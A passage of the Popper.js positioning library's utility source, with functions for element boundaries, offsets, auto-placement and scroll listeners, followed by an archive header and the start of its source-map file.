  // considered in DOM in some circumstances...
  // This isn't reproducible in IE10 compatibility mode of IE11
  try {
    if (isIE(10)) {
      rect = element.getBoundingClientRect();
      var scrollTop = getScroll(element, 'top');
      var scrollLeft = getScroll(element, 'left');
      rect.top += scrollTop;
      rect.left += scrollLeft;
      rect.bottom += scrollTop;
      rect.right += scrollLeft;
    } else {
      rect = element.getBoundingClientRect();
    }
  } catch (e) {}

  var result = {
    left: rect.left,
    top: rect.top,
    width: rect.right - rect.left,
    height: rect.bottom - rect.top
  };

  // subtract scrollbar size from sizes
  var sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};
  var width = sizes.width || element.clientWidth || result.right - result.left;
  var height = sizes.height || element.clientHeight || result.bottom - result.top;

  var horizScrollbar = element.offsetWidth - width;
  var vertScrollbar = element.offsetHeight - height;

  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`
  // we make this check conditional for performance reasons
  if (horizScrollbar || vertScrollbar) {
    var styles = getStyleComputedProperty(element);
    horizScrollbar -= getBordersSize(styles, 'x');
    vertScrollbar -= getBordersSize(styles, 'y');

    result.width -= horizScrollbar;
    result.height -= vertScrollbar;
  }

  return getClientRect(result);
}

function getOffsetRectRelativeToArbitraryNode(children, parent) {
  var fixedPosition = arguments.length > 2 && arguments[2] !== undefined ? arguments[2] : false;

  var isIE10 = isIE(10);
  var isHTML = parent.nodeName === 'HTML';
  var childrenRect = getBoundingClientRect(children);
  var parentRect = getBoundingClientRect(parent);
  var scrollParent = getScrollParent(children);

  var styles = getStyleComputedProperty(parent);
  var borderTopWidth = parseFloat(styles.borderTopWidth, 10);
  var borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);

  // In cases where the parent is fixed, we must ignore negative scroll in offset calc
  if (fixedPosition && isHTML) {
    parentRect.top = Math.max(parentRect.top, 0);
    parentRect.left = Math.max(parentRect.left, 0);
  }
  var offsets = getClientRect({
    top: childrenRect.top - parentRect.top - borderTopWidth,
    left: childrenRect.left - parentRect.left - borderLeftWidth,
    width: childrenRect.width,
    height: childrenRect.height
  });
  offsets.marginTop = 0;
  offsets.marginLeft = 0;

  // Subtract margins of documentElement in case it's being used as parent
  // we do this only on HTML because it's the only element that behaves
  // differently when margins are applied to it. The margins are included in
  // the box of the documentElement, in the other cases not.
  if (!isIE10 && isHTML) {
    var marginTop = parseFloat(styles.marginTop, 10);
    var marginLeft = parseFloat(styles.marginLeft, 10);

    offsets.top -= borderTopWidth - marginTop;
    offsets.bottom -= borderTopWidth - marginTop;
    offsets.left -= borderLeftWidth - marginLeft;
    offsets.right -= borderLeftWidth - marginLeft;

    // Attach marginTop and marginLeft because in some circumstances we may need them
    offsets.marginTop = marginTop;
    offsets.marginLeft = marginLeft;
  }

  if (isIE10 && !fixedPosition ? parent.contains(scrollParent) : parent === scrollParent && scrollParent.nodeName !== 'BODY') {
    offsets = includeScroll(offsets, parent);
  }

  return offsets;
}

function getViewportOffsetRectRelativeToArtbitraryNode(element) {
  var excludeScroll = arguments.length > 1 && arguments[1] !== undefined ? arguments[1] : false;

  var html = element.ownerDocument.documentElement;
  var relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);
  var width = Math.max(html.clientWidth, window.innerWidth || 0);
  var height = Math.max(html.clientHeight, window.innerHeight || 0);

  var scrollTop = !excludeScroll ? getScroll(html) : 0;
  var scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;

  var offset = {
    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,
    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,
    width: width,
    height: height
  };

  return getClientRect(offset);
}

/**
 * Check if the given element is fixed or is inside a fixed parent
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @argument {Element} customContainer
 * @returns {Boolean} answer to "isFixed?"
 */
function isFixed(element) {
  var nodeName = element.nodeName;
  if (nodeName === 'BODY' || nodeName === 'HTML') {
    return false;
  }
  if (getStyleComputedProperty(element, 'position') === 'fixed') {
    return true;
  }
  return isFixed(getParentNode(element));
}

/**
 * Finds the first parent of an element that has a transformed property defined
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Element} first transformed parent or documentElement
 */

function getFixedPositionOffsetParent(element) {
  // This check is needed to avoid errors in case one of the elements isn't defined for any reason
  if (!element || !element.parentElement || isIE()) {
    return document.documentElement;
  }
  var el = element.parentElement;
  while (el && getStyleComputedProperty(el, 'transform') === 'none') {
    el = el.parentElement;
  }
  return el || document.documentElement;
}

/**
 * Computed the boundaries limits and return them
 * @method
 * @memberof Popper.Utils
 * @param {HTMLElement} popper
 * @param {HTMLElement} reference
 * @param {number} padding
 * @param {HTMLElement} boundariesElement - Element used to define the boundaries
 * @param {Boolean} fixedPosition - Is in fixed position mode
 * @returns {Object} Coordinates of the boundaries
 */
function getBoundaries(popper, reference, padding, boundariesElement) {
  var fixedPosition = arguments.length > 4 && arguments[4] !== undefined ? arguments[4] : false;

  // NOTE: 1 DOM access here

  var boundaries = { top: 0, left: 0 };
  var offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);

  // Handle viewport case
  if (boundariesElement === 'viewport') {
    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);
  } else {
    // Handle other cases based on DOM element used as boundaries
    var boundariesNode = void 0;
    if (boundariesElement === 'scrollParent') {
      boundariesNode = getScrollParent(getParentNode(reference));
      if (boundariesNode.nodeName === 'BODY') {
        boundariesNode = popper.ownerDocument.documentElement;
      }
    } else if (boundariesElement === 'window') {
      boundariesNode = popper.ownerDocument.documentElement;
    } else {
      boundariesNode = boundariesElement;
    }

    var offsets = getOffsetRectRelativeToArbitraryNode(boundariesNode, offsetParent, fixedPosition);

    // In case of HTML, we need a different computation
    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {
      var _getWindowSizes = getWindowSizes(popper.ownerDocument),
          height = _getWindowSizes.height,
          width = _getWindowSizes.width;

      boundaries.top += offsets.top - offsets.marginTop;
      boundaries.bottom = height + offsets.top;
      boundaries.left += offsets.left - offsets.marginLeft;
      boundaries.right = width + offsets.left;
    } else {
      // for all the other DOM elements, this one is good
      boundaries = offsets;
    }
  }

  // Add paddings
  padding = padding || 0;
  var isPaddingNumber = typeof padding === 'number';
  boundaries.left += isPaddingNumber ? padding : padding.left || 0;
  boundaries.top += isPaddingNumber ? padding : padding.top || 0;
  boundaries.right -= isPaddingNumber ? padding : padding.right || 0;
  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0;

  return boundaries;
}

function getArea(_ref) {
  var width = _ref.width,
      height = _ref.height;

  return width * height;
}

/**
 * Utility used to transform the `auto` placement to the placement with more
 * available space.
 * @method
 * @memberof Popper.Utils
 * @argument {Object} data - The data object generated by update method
 * @argument {Object} options - Modifiers configuration and options
 * @returns {Object} The data object, properly modified
 */
function computeAutoPlacement(placement, refRect, popper, reference, boundariesElement) {
  var padding = arguments.length > 5 && arguments[5] !== undefined ? arguments[5] : 0;

  if (placement.indexOf('auto') === -1) {
    return placement;
  }

  var boundaries = getBoundaries(popper, reference, padding, boundariesElement);

  var rects = {
    top: {
      width: boundaries.width,
      height: refRect.top - boundaries.top
    },
    right: {
      width: boundaries.right - refRect.right,
      height: boundaries.height
    },
    bottom: {
      width: boundaries.width,
      height: boundaries.bottom - refRect.bottom
    },
    left: {
      width: refRect.left - boundaries.left,
      height: boundaries.height
    }
  };

  var sortedAreas = Object.keys(rects).map(function (key) {
    return _extends({
      key: key
    }, rects[key], {
      area: getArea(rects[key])
    });
  }).sort(function (a, b) {
    return b.area - a.area;
  });

  var filteredAreas = sortedAreas.filter(function (_ref2) {
    var width = _ref2.width,
        height = _ref2.height;
    return width >= popper.clientWidth && height >= popper.clientHeight;
  });

  var computedPlacement = filteredAreas.length > 0 ? filteredAreas[0].key : sortedAreas[0].key;

  var variation = placement.split('-')[1];

  return computedPlacement + (variation ? '-' + variation : '');
}

var longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];
var timeoutDuration = 0;
for (var i = 0; i < longerTimeoutBrowsers.length; i += 1) {
  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {
    timeoutDuration = 1;
    break;
  }
}

function microtaskDebounce(fn) {
  var called = false;
  return function () {
    if (called) {
      return;
    }
    called = true;
    window.Promise.resolve().then(function () {
      called = false;
      fn();
    });
  };
}

function taskDebounce(fn) {
  var scheduled = false;
  return function () {
    if (!scheduled) {
      scheduled = true;
      setTimeout(function () {
        scheduled = false;
        fn();
      }, timeoutDuration);
    }
  };
}

var supportsMicroTasks = isBrowser && window.Promise;

/**
* Create a debounced version of a method, that's asynchronously deferred
* but called in the minimum time possible.
*
* @method
* @memberof Popper.Utils
* @argument {Function} fn
* @returns {Function}
*/
var debounce = supportsMicroTasks ? microtaskDebounce : taskDebounce;

/**
 * Mimics the `find` method of Array
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function find(arr, check) {
  // use native find if supported
  if (Array.prototype.find) {
    return arr.find(check);
  }

  // use `filter` to obtain the same behavior of `find`
  return arr.filter(check)[0];
}

/**
 * Return the index of the matching object
 * @method
 * @memberof Popper.Utils
 * @argument {Array} arr
 * @argument prop
 * @argument value
 * @returns index or -1
 */
function findIndex(arr, prop, value) {
  // use native findIndex if supported
  if (Array.prototype.findIndex) {
    return arr.findIndex(function (cur) {
      return cur[prop] === value;
    });
  }

  // use `find` + `indexOf` if `findIndex` isn't supported
  var match = find(arr, function (obj) {
    return obj[prop] === value;
  });
  return arr.indexOf(match);
}

/**
 * Get the position of the given element, relative to its offset parent
 * @method
 * @memberof Popper.Utils
 * @param {Element} element
 * @return {Object} position - Coordinates of the element and its `scrollTop`
 */
function getOffsetRect(element) {
  var elementRect = void 0;
  if (element.nodeName === 'HTML') {
    var _getWindowSizes = getWindowSizes(element.ownerDocument),
        width = _getWindowSizes.width,
        height = _getWindowSizes.height;

    elementRect = {
      width: width,
      height: height,
      left: 0,
      top: 0
    };
  } else {
    elementRect = {
      width: element.offsetWidth,
      height: element.offsetHeight,
      left: element.offsetLeft,
      top: element.offsetTop
    };
  }

  // position
  return getClientRect(elementRect);
}

/**
 * Get the outer sizes of the given element (offset size + margins)
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element
 * @returns {Object} object containing width and height properties
 */
function getOuterSizes(element) {
  var window = element.ownerDocument.defaultView;
  var styles = window.getComputedStyle(element);
  var x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);
  var y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);
  var result = {
    width: element.offsetWidth + y,
    height: element.offsetHeight + x
  };
  return result;
}

/**
 * Get the opposite placement of the given one
 * @method
 * @memberof Popper.Utils
 * @argument {String} placement
 * @returns {String} flipped placement
 */
function getOppositePlacement(placement) {
  var hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };
  return placement.replace(/left|right|bottom|top/g, function (matched) {
    return hash[matched];
  });
}

/**
 * Get offsets to the popper
 * @method
 * @memberof Popper.Utils
 * @param {Object} position - CSS position the Popper will get applied
 * @param {HTMLElement} popper - the popper element
 * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)
 * @param {String} placement - one of the valid placement options
 * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper
 */
function getPopperOffsets(popper, referenceOffsets, placement) {
  placement = placement.split('-')[0];

  // Get popper node sizes
  var popperRect = getOuterSizes(popper);

  // Add position, width and height to our offsets object
  var popperOffsets = {
    width: popperRect.width,
    height: popperRect.height
  };

  // depending by the popper placement we have to compute its offsets slightly differently
  var isHoriz = ['right', 'left'].indexOf(placement) !== -1;
  var mainSide = isHoriz ? 'top' : 'left';
  var secondarySide = isHoriz ? 'left' : 'top';
  var measurement = isHoriz ? 'height' : 'width';
  var secondaryMeasurement = !isHoriz ? 'height' : 'width';

  popperOffsets[mainSide] = referenceOffsets[mainSide] + referenceOffsets[measurement] / 2 - popperRect[measurement] / 2;
  if (placement === secondarySide) {
    popperOffsets[secondarySide] = referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];
  } else {
    popperOffsets[secondarySide] = referenceOffsets[getOppositePlacement(secondarySide)];
  }

  return popperOffsets;
}

/**
 * Get offsets to the reference element
 * @method
 * @memberof Popper.Utils
 * @param {Object} state
 * @param {Element} popper - the popper element
 * @param {Element} reference - the reference element (the popper will be relative to this)
 * @param {Element} fixedPosition - is in fixed position mode
 * @returns {Object} An object containing the offsets which will be applied to the popper
 */
function getReferenceOffsets(state, popper, reference) {
  var fixedPosition = arguments.length > 3 && arguments[3] !== undefined ? arguments[3] : null;

  var commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);
  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);
}

/**
 * Get the prefixed supported property name
 * @method
 * @memberof Popper.Utils
 * @argument {String} property (camelCase)
 * @returns {String} prefixed property (camelCase or PascalCase, depending on the vendor prefix)
 */
function getSupportedPropertyName(property) {
  var prefixes = [false, 'ms', 'Webkit', 'Moz', 'O'];
  var upperProp = property.charAt(0).toUpperCase() + property.slice(1);

  for (var i = 0; i < prefixes.length; i++) {
    var prefix = prefixes[i];
    var toCheck = prefix ? '' + prefix + upperProp : property;
    if (typeof document.body.style[toCheck] !== 'undefined') {
      return toCheck;
    }
  }
  return null;
}

/**
 * Check if the given variable is a function
 * @method
 * @memberof Popper.Utils
 * @argument {Any} functionToCheck - variable to check
 * @returns {Boolean} answer to: is a function?
 */
function isFunction(functionToCheck) {
  var getType = {};
  return functionToCheck && getType.toString.call(functionToCheck) === '[object Function]';
}

/**
 * Helper used to know if the given modifier is enabled.
 * @method
 * @memberof Popper.Utils
 * @returns {Boolean}
 */
function isModifierEnabled(modifiers, modifierName) {
  return modifiers.some(function (_ref) {
    var name = _ref.name,
        enabled = _ref.enabled;
    return enabled && name === modifierName;
  });
}

/**
 * Helper used to know if the given modifier depends from another one.<br />
 * It checks if the needed modifier is listed and enabled.
 * @method
 * @memberof Popper.Utils
 * @param {Array} modifiers - list of modifiers
 * @param {String} requestingName - name of requesting modifier
 * @param {String} requestedName - name of requested modifier
 * @returns {Boolean}
 */
function isModifierRequired(modifiers, requestingName, requestedName) {
  var requesting = find(modifiers, function (_ref) {
    var name = _ref.name;
    return name === requestingName;
  });

  var isRequired = !!requesting && modifiers.some(function (modifier) {
    return modifier.name === requestedName && modifier.enabled && modifier.order < requesting.order;
  });

  if (!isRequired) {
    var _requesting = '`' + requestingName + '`';
    var requested = '`' + requestedName + '`';
    console.warn(requested + ' modifier is required by ' + _requesting + ' modifier in order to work, be sure to include it before ' + _requesting + '!');
  }
  return isRequired;
}

/**
 * Tells if a given input is a number
 * @method
 * @memberof Popper.Utils
 * @param {*} input to check
 * @return {Boolean}
 */
function isNumeric(n) {
  return n !== '' && !isNaN(parseFloat(n)) && isFinite(n);
}

/**
 * Get the window associated with the element
 * @argument {Element} element
 * @returns {Window}
 */
function getWindow(element) {
  var ownerDocument = element.ownerDocument;
  return ownerDocument ? ownerDocument.defaultView : window;
}

/**
 * Remove event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function removeEventListeners(reference, state) {
  // Remove resize event listener on window
  getWindow(reference).removeEventListener('resize', state.updateBound);

  // Remove scroll event listener on scroll parents
  state.scrollParents.forEach(function (target) {
    target.removeEventListener('scroll', state.updateBound);
  });

  // Reset state
  state.updateBound = null;
  state.scrollParents = [];
  state.scrollElement = null;
  state.eventsEnabled = false;
  return state;
}

/**
 * Loop trough the list of modifiers and run them in order,
 * each of them will then edit the data object.
 * @method
 * @memberof Popper.Utils
 * @param {dataObject} data
 * @param {Array} modifiers
 * @param {String} ends - Optional modifier name used as stopper
 * @returns {dataObject}
 */
function runModifiers(modifiers, data, ends) {
  var modifiersToRun = ends === undefined ? modifiers : modifiers.slice(0, findIndex(modifiers, 'name', ends));

  modifiersToRun.forEach(function (modifier) {
    if (modifier['function']) {
      // eslint-disable-line dot-notation
      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');
    }
    var fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation
    if (modifier.enabled && isFunction(fn)) {
      // Add properties to offsets to make them a complete clientRect object
      // we do this before each modifier to make sure the previous one doesn't
      // mess with these values
      data.offsets.popper = getClientRect(data.offsets.popper);
      data.offsets.reference = getClientRect(data.offsets.reference);

      data = fn(data, modifier);
    }
  });

  return data;
}

/**
 * Set the attributes to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the attributes to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setAttributes(element, attributes) {
  Object.keys(attributes).forEach(function (prop) {
    var value = attributes[prop];
    if (value !== false) {
      element.setAttribute(prop, attributes[prop]);
    } else {
      element.removeAttribute(prop);
    }
  });
}

/**
 * Set the style to the given popper
 * @method
 * @memberof Popper.Utils
 * @argument {Element} element - Element to apply the style to
 * @argument {Object} styles
 * Object with a list of properties and values which will be applied to the element
 */
function setStyles(element, styles) {
  Object.keys(styles).forEach(function (prop) {
    var unit = '';
    // add unit if the value is numeric and is one of the following
    if (['width', 'height', 'top', 'right', 'bottom', 'left'].indexOf(prop) !== -1 && isNumeric(styles[prop])) {
      unit = 'px';
    }
    element.style[prop] = styles[prop] + unit;
  });
}

function attachToScrollParents(scrollParent, event, callback, scrollParents) {
  var isBody = scrollParent.nodeName === 'BODY';
  var target = isBody ? scrollParent.ownerDocument.defaultView : scrollParent;
  target.addEventListener(event, callback, { passive: true });

  if (!isBody) {
    attachToScrollParents(getScrollParent(target.parentNode), event, callback, scrollParents);
  }
  scrollParents.push(target);
}

/**
 * Setup needed event listeners used to update the popper position
 * @method
 * @memberof Popper.Utils
 * @private
 */
function setupEventListeners(reference, options, state, updateBound) {
  // Resize event listener on window
  state.updateBound = updateBound;
  getWindow(reference).addEventListener('resize', state.updateBound, { passive: true });

  // Scroll event listener on scroll parents
  var scrollElement = getScrollParent(reference);
  attachToScrollParents(scrollElement, 'scroll', state.updateBound, state.scrollParents);
  state.scrollElement = scrollElement;
  state.eventsEnabled = true;

  return state;
}

// This is here just for backward compatibility with versions lower than v1.10.3
// you should import the utilities using named exports, if you want them all use:
// ```
// import * as PopperUtils from 'popper-utils';
// ```
// The default export will be removed in the next major version.
var index = {
  computeAutoPlacement: computeAutoPlacement,
  debounce: debounce,
  findIndex: findIndex,
  getBordersSize: getBordersSize,
  getBoundaries: getBoundaries,
  getBoundingClientRect: getBoundingClientRect,
  getClientRect: getClientRect,
  getOffsetParent: getOffsetParent,
  getOffsetRect: getOffsetRect,
  getOffsetRectRelativeToArbitraryNode: getOffsetRectRelativeToArbitraryNode,
  getOuterSizes: getOuterSizes,
  getParentNode: getParentNode,
  getPopperOffsets: getPopperOffsets,
  getReferenceOffsets: getReferenceOffsets,
  getScroll: getScroll,
  getScrollParent: getScrollParent,
  getStyleComputedProperty: getStyleComputedProperty,
  getSupportedPropertyName: getSupportedPropertyName,
  getWindowSizes: getWindowSizes,
  isFixed: isFixed,
  isFunction: isFunction,
  isModifierEnabled: isModifierEnabled,
  isModifierRequired: isModifierRequired,
  isNumeric: isNumeric,
  removeEventListeners: removeEventListeners,
  runModifiers: runModifiers,
  setAttributes: setAttributes,
  setStyles: setStyles,
  setupEventListeners: setupEventListeners
};

export { computeAutoPlacement, debounce, findIndex, getBordersSize, getBoundaries, getBoundingClientRect, getClientRect, getOffsetParent, getOffsetRect, getOffsetRectRelativeToArbitraryNode, getOuterSizes, getParentNode, getPopperOffsets, getReferenceOffsets, getScroll, getScrollParent, getStyleComputedProperty, getSupportedPropertyName, getWindowSizes, isFixed, isFunction, isModifierEnabled, isModifierRequired, isNumeric, removeEventListeners, runModifiers, setAttributes, setStyles, setupEventListeners };
export default index;
//# sourceMappingURL=popper-utils.js.map
esm/popper.js.map000064400000410311151677356750007775 0ustar00{"version":3,"file":"popper.js","sources":["../../src/utils/isBrowser.js","../../src/utils/debounce.js","../../src/utils/isFunction.js","../../src/utils/getStyleComputedProperty.js","../../src/utils/getParentNode.js","../../src/utils/getScrollParent.js","../../src/utils/isIE.js","../../src/utils/getOffsetParent.js","../../src/utils/isOffsetContainer.js","../../src/utils/getRoot.js","../../src/utils/findCommonOffsetParent.js","../../src/utils/getScroll.js","../../src/utils/includeScroll.js","../../src/utils/getBordersSize.js","../../src/utils/getWindowSizes.js","../../src/utils/getClientRect.js","../../src/utils/getBoundingClientRect.js","../../src/utils/getOffsetRectRelativeToArbitraryNode.js","../../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../../src/utils/isFixed.js","../../src/utils/getFixedPositionOffsetParent.js","../../src/utils/getBoundaries.js","../../src/utils/computeAutoPlacement.js","../../src/utils/getReferenceOffsets.js","../../src/utils/getOuterSizes.js","../../src/utils/getOppositePlacement.js","../../src/utils/getPopperOffsets.js","../../src/utils/find.js","../../src/utils/findIndex.js","../../src/utils/runModifiers.js","../../src/methods/update.js","../../src/utils/isModifierEnabled.js","../../src/utils/getSupportedPropertyName.js","../../src/methods/destroy.js","../../src/utils/getWindow.js","../../src/utils/setupEventListeners.js","../../src/methods/enableEventListeners.js","../../src/utils/removeEventListeners.js","../../src/methods/disableEventListeners.js","../../src/utils/isNumeric.js","../../src/utils/setStyles.js","../../src/utils/setAttributes.js","../../src/modifiers/applyStyle.js","../../src/modifiers/computeStyle.js","../../src/utils/isModifierRequired.js","../../src/modifiers/arrow.js","../../src/utils/getOppositeVariation.js","../../src/methods/placements.js","../../src/utils/clockwise.js","../../src/modifiers/flip.js","../../src/modifiers/keepTogether.js","../../src/modifiers/offset.js","../../src/modifiers/preventOverflow.js","../../src/modifiers/shift.js","../../src/modifiers/hide.js","../../src/modifiers/inner.js","../../src/modifiers/index.js","../../src/methods/defaults.js","../../src/index.js"],"sourcesContent":["export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} 